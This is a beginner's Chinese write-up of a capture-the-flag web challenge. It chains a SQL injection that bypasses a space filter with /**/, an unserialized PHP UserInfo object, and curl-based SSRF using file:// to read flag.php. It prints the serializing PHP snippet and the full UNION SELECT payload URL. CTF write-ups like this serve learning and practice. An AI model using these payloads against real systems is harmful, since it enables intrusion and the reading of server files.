萌新第一次尝试ssrf。
先尝试一下存不存在sql注入漏洞,然后发现不存在。。
没办法,登陆上去看一眼吧。
发现url有点不对劲
http://e6fc16c8-ded1-4377-83a2-b9f5b4aef018.node3.buuoj.cn/view.php?no=1
马上猜测no这里有问题,尝试搞事情
http://e6fc16c8-ded1-4377-83a2-b9f5b4aef018.node3.buuoj.cn/view.php?no=0
直接爆出了绝对路径。
然后尝试sql注入,发现真的存在注入漏洞,兴奋。然后fuzz发现,空格被过滤,但是没有关系可以用/**/绕过。然后不会了。。
然后扫目录扫出了user.php.bak 和 flag.php
很明显flag.php中有flag,直接访问,无果,放弃。下载user.php
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init();// 创建一个新cURL资源 curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 抓取URL并把它传递给浏览器 $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch);// 关闭cURL资源,并且释放系统资源 return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
看到curl直接傻了。没办法,直接看wp吧。
看到红框中的报错发现这里有反序列化漏洞。
大佬说我们填写的blog会被反序列化之后调用get方法(毕竟只有curl跟网址有关)
用户在注册填的blog会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php,但是不可行,因为注册的时候限制了http(s)协议。所以只有利用我们的sql注入漏洞。
重点:curl是支持file的,所以我们可以利用file进行文件读取。
<?php class UserInfo { public $name="test"; public $age=12; public $blog="file:///var/www/html/flag.php"; } $data = new UserInfo(); echo serialize($data);
获得payload =
然后http://e6fc16c8-ded1-4377-83a2-b9f5b4aef018.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
找到藏在f12中的flag
然后base64解码得到flag